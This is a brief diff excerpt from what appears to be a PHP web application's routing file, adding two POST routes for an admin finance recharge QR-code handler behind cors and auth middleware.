+ Route::post('finance/recharge-qrcode', 'admin.Finance/rechargeQrcode');
+ Route::post('finance/recharge', 'admin.Finance/rechargeQrcode');
+})->middleware(['cors', 'auth']);